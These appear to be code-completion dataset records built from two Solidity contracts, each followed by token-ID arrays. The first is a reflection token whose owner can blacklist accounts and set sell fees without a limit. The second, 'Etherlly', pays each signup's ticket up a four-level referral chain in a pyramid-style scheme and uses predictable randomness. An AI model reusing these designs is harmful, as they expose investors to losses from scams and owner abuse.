transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function donationAddress() public view returns (address) { return _donationAddress; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require( !_isExcluded[sender], "Excluded addresses cannot call this function" ); ( , uint256 tFee, uint256 tLiquidity, uint256 tWallet, uint256 tDonation ) = _getTValues(tAmount); (uint256 rAmount, , ) = _getRValues( tAmount, tFee, tLiquidity, tWallet, tDonation, _getRate() ); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); ( , uint256 tFee, uint256 tLiquidity, uint256 tWallet, uint256 tDonation ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, ) = _getRValues( tAmount, tFee, tLiquidity, tWallet, tDonation, _getRate() ); if (!deductTransferFee) { return rAmount; } else { return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function updateMarketingWallet(address payable newAddress) external onlyOwner { _marketingAddress = newAddress; } function updateDevWallet(address payable newAddress) external onlyOwner { _devwallet = newAddress; } function updateExchangeWallet(address newAddress) external onlyOwner { _exchangewallet = newAddress; } function updatePartnershipsWallet(address newAddress) external onlyOwner { _partnershipswallet = newAddress; } function addBotToBlacklist(address account) external onlyOwner { require( account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, "We cannot blacklist UniSwap router" ); require(!_isBlackListedBot[account], "Account is already blacklisted"); _isBlackListedBot[account] = true; _blackListedBots.push(account); } function removeBotFromBlacklist(address account) external onlyOwner { require(_isBlackListedBot[account], "Account is not blacklisted"); for (uint256 i = 0; i < _blackListedBots.length; i++) { if (_blackListedBots[i] == account) { _blackListedBots[i] = _blackListedBots[ _blackListedBots.length - 1 ]; _isBlackListedBot[account] = false; _blackListedBots.pop(); break; } } } function excludeFromReward(address account) public onlyOwner { require(!_isExcluded[account], "Account is already excluded"); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function excludeFromLimit(address account) public onlyOwner { _isExcludedFromLimit[account] = true; } function includeInLimit(address account) public onlyOwner { _isExcludedFromLimit[account] = false; } function setSellFee( uint16 tax, uint16 liquidity, uint16 marketing, uint16 dev, uint16 donation ) external onlyOwner { sellFee.tax = tax; sellFee.marketing = marketing; sellFee.liquidity = liquidity; sellFee.dev = dev; sellFee.donation = donation; } function setBuyFee( uint16 tax, uint16 liquidity, uint16 marketing, uint16 dev, uint16 donation ) external onlyOwner { buyFee.tax = tax; buyFee.marketing = marketing; buyFee.liquidity = liquidity; buyFee.dev = dev; buyFee.donation = donation; } function setBothFees( uint16 buy_tax, uint16 buy_liquidity, uint16 buy_marketing, uint16 buy_dev, uint16 buy_donation, uint16 sell_tax, uint16 sell_liquidity, uint16 sell_marketing, uint16 sell_dev, uint16 sell_donation ) external onlyOwner { buyFee.tax = buy_tax; buyFee.marketing = buy_marketing; buyFee.liquidity = buy_liquidity; buyFee.dev = buy_dev; buyFee.donation = buy_donation; sellFee.tax = sell_tax; sellFee.marketing = sell_marketing; sellFee.liquidity = sell_liquidity; sellFee.dev = sell_dev; sellFee.donation = sell_donation; } function setNumTokensSellToAddToLiquidity(uint256 numTokens) external onlyOwner { numTokensSellToAddToLiquidity = numTokens; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner { _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**3); } function _setMaxWalletSizePercent(uint256 maxWalletSize) external onlyOwner { _maxWalletSize = _tTotal.mul(maxWalletSize).div(10**3); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swapping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getTValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256 ) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tWallet = calculateMarketingFee(tAmount) + calculateDevFee(tAmount); uint256 tDonation = calculateDonationFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); tTransferAmount = tTransferAmount.sub(tWallet); tTransferAmount = tTransferAmount.sub(tDonation); return (tTransferAmount, tFee, tLiquidity, tWallet, tDonation); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tWallet, uint256 tDonation, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rWallet = tWallet.mul(currentRate); uint256 rDonation = tDonation.mul(currentRate); uint256 rTransferAmount = rAmount .sub(rFee) .sub(rLiquidity) .sub(rWallet) .sub(rDonation); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function _takeWalletFee(uint256 tWallet) private { uint256 currentRate = _getRate(); uint256 rWallet = tWallet.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rWallet); if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tWallet); } function _takeDonationFee(uint256 tDonation) private { uint256 currentRate = _getRate(); uint256 rDonation = tDonation.mul(currentRate); _rOwned[_donationAddress] = _rOwned[_donationAddress].add(rDonation); if (_isExcluded[_donationAddress]) _tOwned[_donationAddress] = _tOwned[_donationAddress].add( tDonation ); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(10**2); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div(10**2); } function calculateMarketingFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_marketingFee).div(10**2); } function calculateDonationFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_donationFee).div(10**2); } function calculateDevFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_devFee).div(10**2); } function removeAllFee() private { _taxFee = 0; _liquidityFee = 0; _marketingFee = 0; _donationFee = 0; _devFee = 0; } function setBuy() private { _taxFee = buyFee.tax; _liquidityFee = buyFee.liquidity; _marketingFee = buyFee.marketing; _donationFee = buyFee.donation; _devFee = buyFee.dev; } function setSell() private { _taxFee = sellFee.tax; _liquidityFee = sellFee.liquidity; _marketingFee = sellFee.marketing; _donationFee = sellFee.donation; _devFee = sellFee.dev; } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isExcludedFromLimit(address account) public view returns (bool) { return _isExcludedFromLimit[account]; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListedBot[from], "You are blacklisted"); require(!_isBlackListedBot[msg.sender], "blacklisted"); require(!_isBlackListedBot[tx.origin], "blacklisted"); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } if (takeFee) { if (!_isExcludedFromLimit[from] && !_isExcludedFromLimit[to]) { require( amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount." ); if (to != uniswapV2Pair) { require( amount + balanceOf(to) <= _maxWalletSize, "Recipient exceeds max wallet size." ); } } } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 tokens) private lockTheSwap { // Split the contract balance into halves uint256 denominator = (buyFee.liquidity + sellFee.liquidity + buyFee.marketing + sellFee.marketing + buyFee.dev + sellFee.dev) * 2; uint256 tokensToAddLiquidityWith = (tokens * (buyFee.liquidity + sellFee.liquidity)) / denominator; uint256 toSwap = tokens - tokensToAddLiquidityWith; uint256 initialBalance = address(this).balance; swapTokensForEth(toSwap); uint256 deltaBalance = address(this).balance - initialBalance; uint256 unitBalance = deltaBalance / (denominator - (buyFee.liquidity + sellFee.liquidity)); uint256 bnbToAddLiquidityWith = unitBalance * (buyFee.liquidity + sellFee.liquidity); if (bnbToAddLiquidityWith > 0) { // Add liquidity to pancake addLiquidity(tokensToAddLiquidityWith, bnbToAddLiquidityWith); } // Send ETH to marketing uint256 marketingAmt = unitBalance * 2 * (buyFee.marketing + sellFee.marketing); uint256 devAmt = unitBalance * 2 * (buyFee.dev + sellFee.dev) > address(this).balance ? address(this).balance : unitBalance * 2 * (buyFee.dev + sellFee.dev); if (marketingAmt > 0) { payable(_marketingAddress).transfer(marketingAmt); } if (devAmt > 0) { _devwallet.transfer(devAmt); } } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (takeFee) { removeAllFee(); if (sender == uniswapV2Pair) { setBuy(); } if (recipient == uniswapV2Pair) { setSell(); } } if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } removeAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tWallet, uint256 tDonation ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, tWallet, tDonation, _getRate() ); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeWalletFee(tWallet); _takeDonationFee(tDonation); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tWallet, uint256 tDonation ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, tWallet, tDonation, _getRate() ); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeWalletFee(tWallet); _takeDonationFee(tDonation); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tWallet, uint256 tDonation ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, tWallet, tDonation, _getRate() ); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeWalletFee(tWallet); _takeDonationFee(tDonation); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tWallet, uint256 tDonation ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, tWallet, tDonation, _getRate() ); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeWalletFee(tWallet); _takeDonationFee(tDonation); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
Create a uniswap pair for this new token set the rest of the contract variables exclude owner, dev wallet, and this contract from fee
constructor() { _rOwned[_msgSender()] = _rTotal; buyFee.tax = 0; buyFee.liquidity = 2; buyFee.marketing = 13; buyFee.dev = 0; buyFee.donation = 0; sellFee.tax = 0; sellFee.liquidity = 2; sellFee.marketing = 13; sellFee.dev = 0; sellFee.donation = 0; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_devwallet] = true; _isExcludedFromFee[_exchangewallet] = true; _isExcludedFromFee[_partnershipswallet] = true; _isExcludedFromLimit[_marketingAddress] = true; _isExcludedFromLimit[_devwallet] = true; _isExcludedFromLimit[_exchangewallet] = true; _isExcludedFromLimit[_partnershipswallet] = true; _isExcludedFromLimit[owner()] = true; _isExcludedFromLimit[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); }
1,447,114
[ 1, 1684, 279, 640, 291, 91, 438, 3082, 364, 333, 394, 1147, 444, 326, 3127, 434, 326, 6835, 3152, 4433, 3410, 16, 4461, 9230, 16, 471, 333, 6835, 628, 14036, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 288, 203, 3639, 389, 86, 5460, 329, 63, 67, 3576, 12021, 1435, 65, 273, 389, 86, 5269, 31, 203, 203, 3639, 30143, 14667, 18, 8066, 273, 374, 31, 203, 3639, 30143, 14667, 18, 549, 372, 24237, 273, 576, 31, 203, 3639, 30143, 14667, 18, 3355, 21747, 273, 5958, 31, 203, 3639, 30143, 14667, 18, 5206, 273, 374, 31, 203, 3639, 30143, 14667, 18, 19752, 367, 273, 374, 31, 203, 203, 3639, 357, 80, 14667, 18, 8066, 273, 374, 31, 203, 3639, 357, 80, 14667, 18, 549, 372, 24237, 273, 576, 31, 203, 3639, 357, 80, 14667, 18, 3355, 21747, 273, 5958, 31, 203, 3639, 357, 80, 14667, 18, 5206, 273, 374, 31, 203, 3639, 357, 80, 14667, 18, 19752, 367, 273, 374, 31, 203, 203, 3639, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 389, 318, 291, 91, 438, 58, 22, 8259, 273, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 12, 203, 5411, 374, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 203, 3639, 11272, 203, 3639, 640, 291, 91, 438, 58, 22, 4154, 273, 467, 984, 291, 91, 438, 58, 22, 1733, 24899, 318, 291, 91, 438, 58, 22, 8259, 18, 6848, 10756, 203, 5411, 263, 2640, 4154, 12, 2867, 12, 2211, 3631, 389, 318, 291, 91, 438, 58, 22, 8259, 18, 59, 1584, 44, 10663, 203, 203, 3639, 640, 291, 91, 438, 58, 2 ]
/* ███████╗████████╗██╗ ██╗ ██╔════╝╚══██╔══╝╚██╗ ██╔╝ █████╗ ██║ ╚████╔╝ ██╔══╝ ██║ ╚██╔╝ ███████╗ ██║ ██║ ╚══════╝ ╚═╝ ╚═╝ ETHERLLY.COM @title Etherlly (dApp) @author Etherlly.com www.etherlly.com [email protected] This contract is simple and complete, able to produce exactly the proposed without any obscure code. The easiest, safest and fastest way to make money in crypto industry. Version 0.1v (15-12-2019) */ pragma solidity ^0.5.13; /** * @notice Library of mathematical calculations for uit256 */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @notice Internal access and control system */ contract SysCtrl { address public sysman; address public sysWallet; constructor() public { sysman = msg.sender; sysWallet = 0x000f0e207c8F400C78bFc584baEb6Ce22eE5705D; // Address for Maintenance of service (UI Website, ADS and others) } modifier onlySysman() { require(msg.sender == sysman, "Only for System Maintenance"); _; } function setSysman(address _newSysman) public onlySysman { sysman = _newSysman; } function setWallet(address _newWallet) public onlySysman { sysWallet = _newWallet; } } /** * @notice Standard Token ERC20 * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md for more details * Token to be used for future expansion, will soon be negotiated */ contract ETYToken is SysCtrl { /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* Public variables of the token */ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; /* Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { uint256 initialSupply = 10000000000000; string memory tokenName = "Etherlly.com"; uint8 decimalUnits = 2; string memory tokenSymbol = "ETY"; balanceOf[sysWallet] = initialSupply; // Give the creator all initial tokens totalSupply = initialSupply; // Update total supply name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes } /** * @notice Send `_value` tokens to `_to` from your account * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != address(0x0),"Prevent transfer to 0x0 address"); require (balanceOf[_from] >= _value,"Insufficient balance"); require (balanceOf[_to] + _value > balanceOf[_to],"overflows"); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); } /* ETY ADS on Ethereum network * Distribution of ETY as ADS */ function disETY(address[] memory _bens, uint256 amount) public onlySysman { for (uint256 i = 0; i < _bens.length; i++){ _transfer(sysWallet, _bens[i], amount); } } } contract Etherlly is ETYToken { // Using SafeMath for uint256; // Events event addUser(address indexed user, bytes manifest, bytes32 label, address indexed level4); event chain(address user, address indexed level1, address indexed level2, address indexed level3); // Public variables of the Etherlly contract uint public TICKET_PRICE = 0.05 ether; // This value is set to plus 0.01 ETH per 500 transactions. uint public nextChainID = 1; uint public count = 0; struct ChainStruct { uint id; bytes32 label; address level1; address level2; address level3; address level4; uint256 profit; } mapping (address => ChainStruct) public chains; mapping (uint => address) public chainsList; mapping (bytes32 => address) public chainsLabel; // Start Contract constructor() public { ChainStruct memory chainStruct; chainStruct = ChainStruct({ id: nextChainID, label: '1st Chain', level1: sysWallet, level2: sysWallet, level3: sysWallet, level4: sysWallet, profit: 0 }); chains[sysWallet] = chainStruct; chainsList[nextChainID] = sysWallet; chainsLabel[''] = sysWallet; nextChainID++; } /** * @notice Signup without UI * note. Transfer the ticket price amount for this contract and sign up automatically, * if no reference is provided, one will be indicated among the active members */ function () external payable { address ref; if(msg.data.length > 0){ // Check if there is a reference, or select one randomly ref = b2A(msg.data); }else{ ref = chainsList[random(nextChainID-1)]; } bytes32 label = ''; bytes memory manifest = ''; signEtherlly(ref,label,manifest); } /** * @notice Sign up Etherlly (UI) * @param _ref referral member * @param _label label name up to 32 characteres * @param _manifest IPFS hash with Etherlly manifest (see in etherlly.com an example of json file) */ function signEtherlly(address _ref, bytes32 _label, bytes memory _manifest) public payable { if(chains[_ref].id <= 0) { // Check if Refer exist revert('Refer user not found in Etherlly (dApp)'); } if(chains[msg.sender].id > 0) { // User already exists in the Etherlly revert('Address already exists in the Etherlly (dApp)'); } if(_label != ''){ // Check if label exist, can be empty, but not repeated if(chainsLabel[_label] > address(0x0)){ revert('Label Tag already exists in the Etherlly (dApp)'); } } if(msg.value < TICKET_PRICE){ // Min value to sign in Etherlly contract revert('Lower minimum value to sign in Etherlly (dApp)'); } ChainStruct memory chainStruct; // Create a new structure of the chain chainStruct = ChainStruct({ id : nextChainID, label: _label, level1: chains[_ref].level2, level2: chains[_ref].level3, level3: chains[_ref].level4, level4: _ref, profit: 0 }); chains[msg.sender] = chainStruct; chainsList[nextChainID] = msg.sender; chainsLabel[_label] = msg.sender; nextChainID++; count++; emit addUser( // Create a LOG with IPFS Hash Manifest msg.sender, _manifest, _label, chains[msg.sender].level4 ); emit chain( msg.sender, chains[msg.sender].level1, chains[msg.sender].level2, chains[msg.sender].level3 ); payCommission(_ref); // Make a paymet of referral commission adjust(); // Check ticket price } /** * @notice Pay commission in Etherlly DApp * @param _ref User referral */ function payCommission(address _ref) internal { uint pay_ref_ETY = 100000; // 1000 ETY for reference (Level 4) uint pay_50 = SafeMath.mul(SafeMath.div(TICKET_PRICE,100),50); // Level 1 in chain get 50% of ticket uint pay_20 = SafeMath.mul(SafeMath.div(TICKET_PRICE,100),20); // Level 4 reference get 20% of ticket uint pay_10 = SafeMath.mul(SafeMath.div(TICKET_PRICE,100),10); // Level2 and Level 3 get 10% of ticket address(uint160(chains[msg.sender].level1)).transfer(pay_50); chains[chains[msg.sender].level1].profit = SafeMath.add(chains[chains[msg.sender].level1].profit,pay_50); address(uint160(chains[msg.sender].level2)).transfer(pay_10); chains[chains[msg.sender].level2].profit = SafeMath.add(chains[chains[msg.sender].level2].profit,pay_10); address(uint160(chains[msg.sender].level3)).transfer(pay_10); chains[chains[msg.sender].level3].profit = SafeMath.add(chains[chains[msg.sender].level3].profit,pay_10); address(uint160(_ref)).transfer(pay_20); chains[_ref].profit = SafeMath.add(chains[_ref].profit,pay_20); _transfer(sysWallet, _ref, pay_ref_ETY); // Payment in ETY for referral // Token to be used for future expansion, // will soon be negotiated address(uint160(sysWallet)).transfer(address(this).balance); // Remaining 10% for maintenance and ADS } /** * @notice Ticket Adjust * note. The ticket price is adjusted +0.01 ETH per 500 transactions */ function adjust() internal { if(count >= 500) { TICKET_PRICE = SafeMath.add(TICKET_PRICE,0.01 ether); count = 1; } } /** * @notice Bytes to anddress * @param _inBytes bytes to convert in Ethereum address */ function b2A(bytes memory _inBytes) private pure returns (address outAddress) { assembly{ outAddress := mload(add(_inBytes, 20)) } } /** * @notice Generate random number 0 to maxnumber * @param _maxNumber Max Number to generate */ function random(uint _maxNumber) private view returns (uint) { uint randomnumber = uint(keccak256(abi.encodePacked(now, msg.sender, count))) % _maxNumber; if(randomnumber == 0){ randomnumber = 1; } return randomnumber; } }
Check ticket price
adjust();
880,845
[ 1, 1564, 9322, 6205, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
